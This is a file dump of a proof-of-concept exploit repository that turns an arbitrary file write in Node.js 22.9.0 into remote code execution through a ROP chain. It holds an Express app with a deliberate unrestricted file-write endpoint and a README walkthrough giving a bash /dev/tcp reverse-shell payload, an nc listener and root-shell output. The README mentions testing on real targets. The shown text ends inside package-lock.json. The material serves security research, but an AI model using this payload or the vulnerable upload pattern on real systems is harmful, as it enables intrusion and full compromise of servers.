├── .gitignore ├── Dockerfile ├── README.md ├── app ├── main.js ├── package-lock.json └── package.json ├── docker-compose.yml └── exploit ├── index.html ├── main.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | tools -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:22.9.0 2 | 3 | WORKDIR /app 4 | COPY app/package.json package.json 5 | RUN npm install 6 | COPY app/main.js main.js 7 | 8 | CMD node main.js 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NodeJS File Write to RCE PoC 2 | 3 | [Sonar Research: Why Code Security Matters - Even in Hardened Environments](https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/) 4 | 5 | Stefan Schiller, a researcher at Sonar, discovered a way to abuse an **arbitrary file write** vulnerability on a **read-only filesystem**. By sending fake structures to an open file descriptor which is a pipe to "libuv", they were able jump to an arbitrary location. 6 | 7 | Because `node` is often compiled without PIE (Position Independent Executable), the `.text` section is not randomized with ASLR, giving us predictable addresses to jump to. They found one gadget to start a ROP chain, which I expanded to a full chain that sends a reverse shell. 8 | 9 | ## Running 10 | 11 | This exploit was specifically made for the latest version of node as of writing, **version 22.9.0**. Almost any other version will have different addresses and memory, resulting in a **crash**. Using GDB, the exploit script needs to be tweaked in that case. 12 | 13 | > [!WARNING] 14 | > Any exploit attempt will crash the server, also after exiting the reverse shell. Keep this in mind while testing on real targets. 15 | 16 | 1. Start the vulnerable application inside [`app/`](app/) on port :8000 17 | 18 | ```sh 19 | docker compose up --build 20 | ``` 21 | 22 | 2. Set up an HTTP server with the `sh` payload 23 | 24 | ```shell 25 | $ cd exploit/ 26 | $ nano index.html 27 | bash -c 'bash -i >& /dev/tcp/host.docker.internal/1337 0>&1' 28 | $ python3 -m http.server 1338 29 | ``` 30 | 31 | 3. In case of a reverse shell in [`exploit/index.html`](exploit/index.html), set up a listener 32 | 33 | ```sh 34 | nc -lnvp 1337 35 | ``` 36 | 37 | 4. Trigger the exploit using a ROP chain 38 | 39 | ```sh 40 | cd exploit/ 41 | python3 -m pip install -r requirements.txt 42 | python3 main.py 43 | ``` 44 | 45 | Enjoy your reverse shell in `nc`! 46 | 47 | ```shell 48 | Listening on 0.0.0.0 1337 49 | Connection received on 192.168.96.1 61726 50 | bash: cannot set terminal process group (1): Inappropriate ioctl for device 51 | bash: no job control in this shell 52 | root@694a4b7f7419:/app# id 53 | uid=0(root) gid=0(root) groups=0(root) 54 | ``` 55 | -------------------------------------------------------------------------------- /app/main.js: -------------------------------------------------------------------------------- 1 | const express = require('express') 2 | const bodyParser = require('body-parser') 3 | const fs = require('fs') 4 | 5 | const PORT = 8000; 6 | 7 | const app = express() 8 | app.use(bodyParser.json()) 9 | 10 | app.post('/upload', (req, res) => { 11 | const { filename, content } = req.body; 12 | console.log({ filename, content }) 13 | fs.writeFile(filename, content, () => { 14 | res.json({ message: 'File uploaded!' }); 15 | }); 16 | }); 17 | 18 | console.log(`Listening on 0.0.0.0:${PORT}...`) 19 | app.listen(PORT) 20 | -------------------------------------------------------------------------------- /app/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "app", 3 | "lockfileVersion": 3, 4 | "requires": true, 5 | "packages": { 6 | "": { 7 | "dependencies": { 8 | "express": "^4.21.1" 9 | } 10 | }, 11 | "node_modules/accepts": { 12 | "version": "1.3.8", 13 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", 14 | "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", 15 | "license": "MIT", 16 | "dependencies": { 17 | "mime-types": "~2.1.34", 18 | "negotiator": "0.6.3" 19 | }, 20 | "engines": { 21 | "node": ">= 0.6" 22 | } 23 | }, 24 | "node_modules/array-flatten": { 25 | "version": "1.1.1", 26 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", 27 | "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", 28 | "license": "MIT" 29 | }, 30 | "node_modules/body-parser": { 31 | "version": "1.20.3", 32 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz", 33 | "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==", 34 | "license": "MIT", 35 | "dependencies": { 36 | "bytes": "3.1.2", 37 | "content-type": "~1.0.5", 38 | "debug": "2.6.9", 39 | "depd": "2.0.0", 40 | "destroy": "1.2.0", 41 | "http-errors": "2.0.0", 42 | "iconv-lite": "0.4.24", 43 | "on-finished": "2.4.1", 44 | "qs": "6.13.0", 45 | "raw-body": "2.5.2", 46 | "type-is": "~1.6.18", 47 | "unpipe": "1.0.0" 48 | }, 49 | "engines": { 50 | "node": ">= 0.8", 51 | "npm": "1.2.8000 || >= 1.4.16" 52 | } 53 | }, 54 | "node_modules/bytes": { 55 | "version": "3.1.2", 56 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", 57 | "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", 58 | "license": "MIT", 59 | "engines": { 60 | "node": ">= 0.8" 61 | } 62 | }, 63 | "node_modules/call-bind": { 64 | "version": "1.0.7", 65 | "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", 66 | "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", 67 | "license": "MIT", 68 | "dependencies": { 69 | "es-define-property": "^1.0.0", 70 | "es-errors": "^1.3.0", 71 | "function-bind": "^1.1.2", 72 | "get-intrinsic": "^1.2.4", 73 | "set-function-length": "^1.2.1" 74 | }, 75 | "engines": { 76 | "node": ">= 0.4" 77 | }, 78 | "funding": { 79 | "url": "https://github.com/sponsors/ljharb" 80 | } 81 | }, 82 | "node_modules/content-disposition": { 83 | "version": "0.5.4", 84 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", 85 | "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", 86 | "license": "MIT", 87 | "dependencies": { 88 | "safe-buffer": "5.2.1" 89 | }, 90 | "engines": { 91 | "node": ">= 0.6" 92 | } 93 | }, 94 | "node_modules/content-type": { 95 | "version": "1.0.5", 96 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", 97 | "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", 98 | "license": "MIT", 99 | "engines": { 100 | "node": ">= 0.6" 101 | } 102 | }, 103 | "node_modules/cookie": { 104 | "version": "0.7.1", 105 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz", 106 | "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==", 107 | "license": "MIT", 108 | "engines": { 109 | "node": ">= 0.6" 110 | } 111 | }, 112 | "node_modules/cookie-signature": { 113 | "version": "1.0.6", 114 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", 115 | "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==", 116 | "license": "MIT" 117 | }, 118 | "node_modules/debug": { 119 | "version": "2.6.9", 120 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 121 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 122 | "license": "MIT", 123 | "dependencies": { 124 | "ms": "2.0.0" 125 | } 126 | }, 127 | "node_modules/define-data-property": { 128 | "version": "1.1.4", 129 | "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", 130 | "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", 131 | "license": "MIT", 132 | "dependencies": { 133 | "es-define-property": "^1.0.0", 134 | "es-errors": "^1.3.0", 135 | "gopd": "^1.0.1" 136 | }, 137 | "engines": { 138 | "node": ">= 0.4" 139 | }, 140 | "funding": { 141 | "url": "https://github.com/sponsors/ljharb" 142 | } 143 | }, 144 | "node_modules/depd": { 145 | "version": "2.0.0", 146 | "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", 147 | "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", 148 | "license": "MIT", 149 | "engines": { 150 | "node": ">= 0.8" 151 | } 152 | }, 153 | "node_modules/destroy": { 154 | "version": "1.2.0", 155 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", 156 | "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", 157 | "license": "MIT", 158 | "engines": { 159 | "node": ">= 0.8", 160 | "npm": "1.2.8000 || >= 1.4.16" 161 | } 162 | }, 163 | "node_modules/ee-first": { 164 | "version": "1.1.1", 165 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", 166 | "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", 167 | "license": "MIT" 168 | }, 169 | "node_modules/encodeurl": { 170 | "version": "2.0.0", 171 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", 172 | "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", 173 | "license": "MIT", 174 | "engines": { 175 | "node": ">= 0.8" 176 | } 177 | }, 178 | "node_modules/es-define-property": { 179 | "version": "1.0.0", 180 | "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz", 181 | "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", 182 | "license": "MIT", 183 | "dependencies": { 184 | "get-intrinsic": "^1.2.4" 185 | }, 186 | "engines": { 187 | "node": ">= 0.4" 188 | } 189 | }, 190 | "node_modules/es-errors": { 191 | "version": "1.3.0", 192 | "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", 193 | "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", 194 | "license": "MIT", 195 | "engines": { 196 | "node": ">= 0.4" 197 | } 198 | }, 199 | "node_modules/escape-html": { 200 | "version": "1.0.3", 201 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", 202 | "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", 203 | "license": "MIT" 204 | }, 205 | "node_modules/etag": { 206 | "version": "1.8.1", 207 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", 208 | "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", 209 | "license": "MIT", 210 | "engines": { 211 | "node": ">= 0.6" 212 | } 213 | }, 214 | "node_modules/express": { 215 | "version": "4.21.1", 216 | "resolved": "https://registry.npmjs.org/express/-/express-4.21.1.tgz", 217 | "integrity": "sha512-YSFlK1Ee0/GC8QaO91tHcDxJiE/X4FbpAyQWkxAvG6AXCuR65YzK8ua6D9hvi/TzUfZMpc+BwuM1IPw8fmQBiQ==", 218 | "license": "MIT", 219 | "dependencies": { 220 | "accepts": "~1.3.8", 221 | "array-flatten": "1.1.1", 222 | "body-parser": "1.20.3", 223 | "content-disposition": "0.5.4", 224 | "content-type": "~1.0.4", 225 | "cookie": "0.7.1", 226 | "cookie-signature": "1.0.6", 227 | "debug": "2.6.9", 228 | "depd": "2.0.0", 229 | "encodeurl": "~2.0.0", 230 | "escape-html": "~1.0.3", 231 | "etag": "~1.8.1", 232 | "finalhandler": "1.3.1", 233 | "fresh": "0.5.2", 234 | "http-errors": "2.0.0", 235 | "merge-descriptors": "1.0.3", 236 | "methods": "~1.1.2", 237 | "on-finished": "2.4.1", 238 | "parseurl": "~1.3.3", 239 | "path-to-regexp": "0.1.10", 240 | "proxy-addr": "~2.0.7", 241 | "qs": "6.13.0", 242 | "range-parser": "~1.2.1", 243 | "safe-buffer": "5.2.1", 244 | "send": "0.19.0", 245 | "serve-static": "1.16.2", 246 | "setprototypeof": "1.2.0", 247 | "statuses": "2.0.1", 248 | "type-is": "~1.6.18", 249 | "utils-merge": "1.0.1", 250 | "vary": "~1.1.2" 251 | }, 252 | "engines": { 253 | "node": ">= 0.10.0" 254 | } 255 | }, 256 | "node_modules/finalhandler": { 257 | "version": "1.3.1", 258 | "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz", 259 | "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", 260 | "license": "MIT", 261 | "dependencies": { 262 | "debug": "2.6.9", 263 | "encodeurl": "~2.0.0", 264 | "escape-html": "~1.0.3", 265 | "on-finished": "2.4.1", 266 | "parseurl": "~1.3.3", 267 | "statuses": "2.0.1", 268 | "unpipe": "~1.0.0" 269 | }, 270 | "engines": { 271 | "node": ">= 0.8" 272 | } 273 | }, 274 | "node_modules/forwarded": { 275 | "version": "0.2.0", 276 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", 277 | "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", 278 | "license": "MIT", 279 | "engines": { 280 | "node": ">= 0.6" 281 | } 282 | }, 283 | "node_modules/fresh": { 284 | "version": "0.5.2", 285 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", 286 | "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", 287 | "license": "MIT", 288 | "engines": { 289 | "node": ">= 0.6" 290 | } 291 | }, 292 | "node_modules/function-bind": { 293 | "version": "1.1.2", 294 | "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", 295 | "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", 296 | "license": "MIT", 297 | "funding": { 298 | "url": "https://github.com/sponsors/ljharb" 299 | } 300 | }, 301 | "node_modules/get-intrinsic": { 302 | "version": "1.2.4", 303 | "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz", 304 | "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", 305 | "license": "MIT", 306 | "dependencies": { 307 | "es-errors": "^1.3.0", 308 | "function-bind": "^1.1.2", 309 | "has-proto": "^1.0.1", 310 | "has-symbols": "^1.0.3", 311 | "hasown": "^2.0.0" 312 | }, 313 | "engines": { 314 | "node": ">= 0.4" 315 | }, 316 | "funding": { 317 | "url": "https://github.com/sponsors/ljharb" 318 | } 319 | }, 320 | "node_modules/gopd": { 321 | "version": "1.0.1", 322 | "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", 323 | "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", 324 | "license": "MIT", 325 | "dependencies": { 326 | "get-intrinsic": "^1.1.3" 327 | }, 328 | "funding": { 329 | "url": "https://github.com/sponsors/ljharb" 330 | } 331 | }, 332 | "node_modules/has-property-descriptors": { 333 | "version": "1.0.2", 334 | "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", 335 | "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", 336 | "license": "MIT", 337 | "dependencies": { 338 | "es-define-property": "^1.0.0" 339 | }, 340 | "funding": { 341 | "url": "https://github.com/sponsors/ljharb" 342 | } 343 | }, 344 | "node_modules/has-proto": { 345 | "version": "1.0.3", 346 | "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.3.tgz", 347 | "integrity": "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==", 348 | "license": "MIT", 349 | "engines": { 350 | "node": ">= 0.4" 351 | }, 352 | "funding": { 353 | "url": "https://github.com/sponsors/ljharb" 354 | } 355 | }, 356 | "node_modules/has-symbols": { 357 | "version": "1.0.3", 358 | "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", 359 | "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", 360 | "license": "MIT", 361 | "engines": { 362 | "node": ">= 0.4" 363 | }, 364 | "funding": { 365 | "url": "https://github.com/sponsors/ljharb" 366 | } 367 | }, 368 | "node_modules/hasown": { 369 | "version": "2.0.2", 370 | "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", 371 | "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", 372 | "license": "MIT", 373 | "dependencies": { 374 | "function-bind": "^1.1.2" 375 | }, 376 | "engines": { 377 | "node": ">= 0.4" 378 | } 379 | }, 380 | "node_modules/http-errors": { 381 | "version": "2.0.0", 382 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", 383 | "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", 384 | "license": "MIT", 385 | "dependencies": { 386 | "depd": "2.0.0", 387 | "inherits": "2.0.4", 388 | "setprototypeof": "1.2.0", 389 | "statuses": "2.0.1", 390 | "toidentifier": "1.0.1" 391 | }, 392 | "engines": { 393 | "node": ">= 0.8" 394 | } 395 | }, 396 | "node_modules/iconv-lite": { 397 | "version": "0.4.24", 398 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", 399 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", 400 | "license": "MIT", 401 | "dependencies": { 402 | "safer-buffer": ">= 2.1.2 < 3" 403 | }, 404 | "engines": { 405 | "node": ">=0.10.0" 406 | } 407 | }, 408 | "node_modules/inherits": { 409 | "version": "2.0.4", 410 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 411 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", 412 | "license": "ISC" 413 | }, 414 | "node_modules/ipaddr.js": { 415 | "version": "1.9.1", 416 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", 417 | "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", 418 | "license": "MIT", 419 | "engines": { 420 | "node": ">= 0.10" 421 | } 422 | }, 423 | "node_modules/media-typer": { 424 | "version": "0.3.0", 425 | "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", 426 | "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", 427 | "license": "MIT", 428 | "engines": { 429 | "node": ">= 0.6" 430 | } 431 | }, 432 | "node_modules/merge-descriptors": { 433 | "version": "1.0.3", 434 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", 435 | "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", 436 | "license": "MIT", 437 | "funding": { 438 | "url": "https://github.com/sponsors/sindresorhus" 439 | } 440 | }, 441 | "node_modules/methods": { 442 | "version": "1.1.2", 443 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", 444 | "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", 445 | "license": "MIT", 446 | "engines": { 447 | "node": ">= 0.6" 448 | } 449 | }, 450 | "node_modules/mime": { 451 | "version": "1.6.0", 452 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", 453 | "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", 454 | "license": "MIT", 455 | "bin": { 456 | "mime": "cli.js" 457 | }, 458 | "engines": { 459 | "node": ">=4" 460 | } 461 | }, 462 | "node_modules/mime-db": { 463 | "version": "1.52.0", 464 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", 465 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", 466 | "license": "MIT", 467 | "engines": { 468 | "node": ">= 0.6" 469 | } 470 | }, 471 | "node_modules/mime-types": { 472 | "version": "2.1.35", 473 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", 474 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", 475 | "license": "MIT", 476 | "dependencies": { 477 | "mime-db": "1.52.0" 478 | }, 479 | "engines": { 480 | "node": ">= 0.6" 481 | } 482 | }, 483 | "node_modules/ms": { 484 | "version": "2.0.0", 485 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 486 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", 487 | "license": "MIT" 488 | }, 489 | "node_modules/negotiator": { 490 | "version": "0.6.3", 491 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", 492 | "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", 493 | "license": "MIT", 494 | "engines": { 495 | "node": ">= 0.6" 496 | } 497 | }, 498 | "node_modules/object-inspect": { 499 | "version": "1.13.2", 500 | "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.2.tgz", 501 | "integrity": "sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==", 502 | "license": "MIT", 503 | "engines": { 504 | "node": ">= 0.4" 505 | }, 506 | "funding": { 507 | "url": "https://github.com/sponsors/ljharb" 508 | } 509 | }, 510 | "node_modules/on-finished": { 511 | "version": "2.4.1", 512 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", 513 | "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", 514 | "license": "MIT", 515 | "dependencies": { 516 | "ee-first": "1.1.1" 517 | }, 518 | "engines": { 519 | "node": ">= 0.8" 520 | } 521 | }, 522 | "node_modules/parseurl": { 523 | "version": "1.3.3", 524 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", 525 | "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", 526 | "license": "MIT", 527 | "engines": { 528 | "node": ">= 0.8" 529 | } 530 | }, 531 | "node_modules/path-to-regexp": { 532 | "version": "0.1.10", 533 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.10.tgz", 534 | "integrity": "sha512-7lf7qcQidTku0Gu3YDPc8DJ1q7OOucfa/BSsIwjuh56VU7katFvuM8hULfkwB3Fns/rsVF7PwPKVw1sl5KQS9w==", 535 | "license": "MIT" 536 | }, 537 | "node_modules/proxy-addr": { 538 | "version": "2.0.7", 539 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", 540 | "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", 541 | "license": "MIT", 542 | "dependencies": { 543 | "forwarded": "0.2.0", 544 | "ipaddr.js": "1.9.1" 545 | }, 546 | "engines": { 547 | "node": ">= 0.10" 548 | } 549 | }, 550 | "node_modules/qs": { 551 | "version": "6.13.0", 552 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz", 553 | "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", 554 | "license": "BSD-3-Clause", 555 | "dependencies": { 556 | "side-channel": "^1.0.6" 557 | }, 558 | "engines": { 559 | "node": ">=0.6" 560 | }, 561 | "funding": { 562 | "url": "https://github.com/sponsors/ljharb" 563 | } 564 | }, 565 | "node_modules/range-parser": { 566 | "version": "1.2.1", 567 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", 568 | "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", 569 | "license": "MIT", 570 | "engines": { 571 | "node": ">= 0.6" 572 | } 573 | }, 574 | "node_modules/raw-body": { 575 | "version": "2.5.2", 576 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz", 577 | "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", 578 | "license": "MIT", 579 | "dependencies": { 580 | "bytes": "3.1.2", 581 | "http-errors": "2.0.0", 582 | "iconv-lite": "0.4.24", 583 | "unpipe": "1.0.0" 584 | }, 585 | "engines": { 586 | "node": ">= 0.8" 587 | } 588 | }, 589 | "node_modules/safe-buffer": { 590 | "version": "5.2.1", 591 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", 592 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", 593 | "funding": [ 594 | { 595 | "type": "github", 596 | "url": "https://github.com/sponsors/feross" 597 | }, 598 | { 599 | "type": "patreon", 600 | "url": "https://www.patreon.com/feross" 601 | }, 602 | { 603 | "type": "consulting", 604 | "url": "https://feross.org/support" 605 | } 606 | ], 607 | "license": "MIT" 